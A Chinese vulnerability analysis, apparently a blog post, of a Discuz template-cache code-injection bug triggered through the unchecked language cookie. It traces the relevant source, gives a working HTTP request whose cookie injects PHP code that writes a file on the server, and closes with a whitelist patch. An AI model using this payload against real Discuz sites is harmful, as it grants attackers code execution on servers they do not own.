完整流程分析 先尝试报错,从=利用discuz自带的调用栈定位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 GET /portal.php HTTP/1.1 Host: local.hundan.org Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 DNT: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://local.hundan.org/portal.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Cookie: bHideResizeNotice=1; YVRt_2132_saltkey=PZK5Mpll; YVRt_2132_lastvisit=1562924418; YVRt_2132_sid=q9KH9u; YVRt_2132_onlineusernum=1; YVRt_2132_sendmail=1; YVRt_2132_lastact=1562928273%09misc.php%09diyhelp; YVRt_2132_language=sc'.1.'; XDEBUG_SESSION=DEBUG Connection: close
进入portal_index.php断下
可以想到,这个template函数应该是写了一个文件,然后返回了一个文件名,直接从函数的return开始检查,return有三个点
我们先按流程走一遍,进入template函数之后
对dz不是很熟悉,从命名来看,应该是允许插件对模板进行hook,这里没有插件,不进入逻辑,看第二个return,位于source/function/function_core.php:644
,
1 2 3 4 5 6 7 8 9 10 $cachefile = './data/template/' .DISCUZ_LANG.'_' .(defined ('STYLEID' ) ? STYLEID.'_' : '_' ).$templateid .'_' .str_replace ('/' , '_' , $file ).'.tpl.php' ; if ($templateid != 1 && !file_exists (DISCUZ_ROOT.$tplfile ) && !file_exists (substr (DISCUZ_ROOT.$tplfile , 0 , -4 ).'.php' ) && !file_exists (DISCUZ_ROOT.($tplfile = $tpldir .$filebak .'.htm' ))) { $tplfile = './template/default/' .$filebak .'.htm' ; } if ($gettplfile ) { return $tplfile ; }
检查默认模板是否有这个文件,有的话就赋值给$tplfile
,不过这不是重点
$gettplfile
是函数默认的参数,默认是0,全局暂时只发现source/class/class_template.php:328
将其设为1,应该是渲染子模板用的,比如一个父模板里面使用{subtemplate}语法,就会进行子模板读取,这里用不到,所以也进不到这个return。
第三个return是刷新模板缓存后,返回了缓存路径,这是被利用的点。
1 2 checktplrefresh ($tplfile , $tplfile , @filemtime (DISCUZ_ROOT.$cachefile ), $templateid , $cachefile , $tpldir , $file );return DISCUZ_ROOT.$cachefile ;
$cachefile
在上面已经提到了,是这样获得的
1 $cachefile = './data/template/' .DISCUZ_LANG.'_' .(defined ('STYLEID' ) ? STYLEID.'_' : '_' ).$templateid .'_' .str_replace ('/' , '_' , $file ).'.tpl.php' ;
里面拼接了DISCUZ_LANG
STYLEID
,不过分析文件名拼接没有意义,我们不需要获取文件名来getshell,因为前面已经被include了,我们跟一下checktplrefresh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 function checktplrefresh ($maintpl , $subtpl , $timecompare , $templateid , $cachefile , $tpldir , $file ) { static $tplrefresh , $timestamp , $targettplname ; if ($tplrefresh === null ) { $tplrefresh = getglobal ('config/output/tplrefresh' ); $timestamp = getglobal ('timestamp' ); } if (empty ($timecompare ) || $tplrefresh == 1 || ($tplrefresh > 1 && !($timestamp % $tplrefresh ))) { if (empty ($timecompare ) || @filemtime (DISCUZ_ROOT.$subtpl ) > $timecompare ) { require_once DISCUZ_ROOT.'./source/class/class_template.php' ; $template = new template (); $template ->parse_template ($maintpl , $templateid , $tpldir , $file , $cachefile ); if ($targettplname === null ) { $targettplname = getglobal ('style/tplfile' ); if (!empty ($targettplname )) { include_once libfile ('function/block' ); $targettplname = strtr ($targettplname , ':' , '_' ); update_template_block ($targettplname , getglobal ('style/tpldirectory' ), $template ->blocks); } $targettplname = true ; } return TRUE ; } } return FALSE ; }
如果发现需要刷新模板缓存的话,就进入parse_template
这个方法,跟进,位于source/class/class_template.php:24
主要是解析模板的一些东西,主要看到105行
打开了模板文件(没有则创建),将上面函数解析好的模板写入,然后是一系列的回调,然后就结束了,不过通过模板套模板的形式,这个过程持续了多次,最终生成了四个缓存文件,并四次执行了我们想要的代码。
而模板内容,则来自传入parse_template
的几个参数,首先根据template/default/portal/index.htm
渲染了第一个文件,检查一下这个模板
1 2 3 4 5 6 7 <style id ="diy_style" type ="text/css" > </style > <div class ="wp" > <div id ="diy1" class ="area" > </div > </div > <script src ="misc.php?mod=diyhelp&action=get&type=index&diy=yes&r={echo random(4)}" type ="text/javascript" > </script >
渲染后是这样的
1 2 3 4 5 <?php if(!defined('IN_DISCUZ')) exit('Access Denied'); hookscriptoutput('index');?> <?php include template('common/header'); ?> <style id ="diy_style" type ="text/css" > </style > <div class ="wp" > <div id ="diy1" class ="area" > </div > </div > <script src ="misc.php?mod=diyhelp&action=get&type=index&diy=yes&r=<?php echo random(4); ?>" type ="text/javascript" type ="text/javascript" > </script > <?php include template('common/footer'); ?>
因为这个模板本身被include了一次,所以这个代码被执行了,生成了common/header
,我想相比文件名注入了代码,这里更像是造成代码执行的关键,位于template/default/common/header.htm
和header_common.htm
渲染之后是这样的
这就很显然了,代码拼接,但是我们可以看到,模板里面并没有出现拼接的部分,显然这是parse_template
渲染的代码,我们回到这个方法检查一下,source/class/class_template.php:70
模板渲染这里补充了越权检查和和一些缓存刷新的功能,在include第一个渲染好的模板之后,该模板再次渲染模板,并向缓存刷新功能处加入了需要被刷新的文件
真正造成影响的就是这个$cachefile
,而$cachefile
又由DISCUZ_LANG
造成了可控,我们可以轻易地找到DISCUZ_LANG
来自source/class/discuz/discuz_application.php:341
1 define ('DISCUZ_LANG' , $lng );
而$lng
在292-334被完整定义,关键的几行代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if ($this ->var ['cookie' ]['language' ]) { $lng = strtolower ($this ->var ['cookie' ]['language' ]); } if (isset ($_GET ['language' ])) { $tmp = strtolower ($_GET ['language' ]); if (isset ($this ->var ['config' ]['languages' ][$tmp ])) { $lng = $tmp ; } }
显然是被动态定义的,而且在赋值给DISCUZ_LANG
之前并没有多余的安全检查。
尽管我们可以看到程序也试图从GET参数获取语言,但是却比从cookie获取多了一步检查,其实这是很令人疑惑的:为什么从cookie获取的就不检查了?
exp 有一个小问题,系统的文件命名有字符限制,需要编码一下,不然生成不了缓存文件,也不能用base64,会全部转小写,urlencode就可以了。
最后放一个本地的包
1 2 3 4 5 6 7 8 9 10 11 12 13 GET /portal.php HTTP/1.1 Host: local.hundan.org Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 DNT: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://local.hundan.org/portal.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Cookie: bHideResizeNotice=1; YVRt_2132_saltkey=PZK5Mpll; YVRt_2132_lastvisit=1562924418; YVRt_2132_sid=q9KH9u; YVRt_2132_onlineusernum=1; YVRt_2132_sendmail=1; YVRt_2132_lastact=1562928273%09misc.php%09diyhelp; YVRt_2132_language=sc','','')%3bcall_user_func('file_put_contents',urldecode('%68%2e%70%68%70'),urldecode('%253c%253f%253d%2570%2568%2570%2569%256e%2566%256f%2528%2529%253b%253f%253e'))%3barray('; XDEBUG_SESSION=DEBUG Connection: close
漏洞修复 上面分析了漏洞流程,但是有个问题没有提到:最后那个模板渲染是怎么渲染出来的?解决了这个问题,就可以修复漏洞了。
其实语言只有那么些,列个列表就可以了,我们可以看到多语言列表在这里
那么在source/class/discuz/discuz_application.php:304
,将
1 2 3 4 5 6 if ($this ->var ['cookie' ]['language' ]) { $lng = strtolower ($this ->var ['cookie' ]['language' ]); }
改为
1 2 3 4 5 6 7 8 9 10 if ($this ->var ['cookie' ]['language' ]) { $tmp = strtolower ($this ->var ['cookie' ]['language' ]); if (isset ($this ->var ['config' ]['languages' ][$tmp ])) { $lng = $tmp ; } }
修改前:
修改后: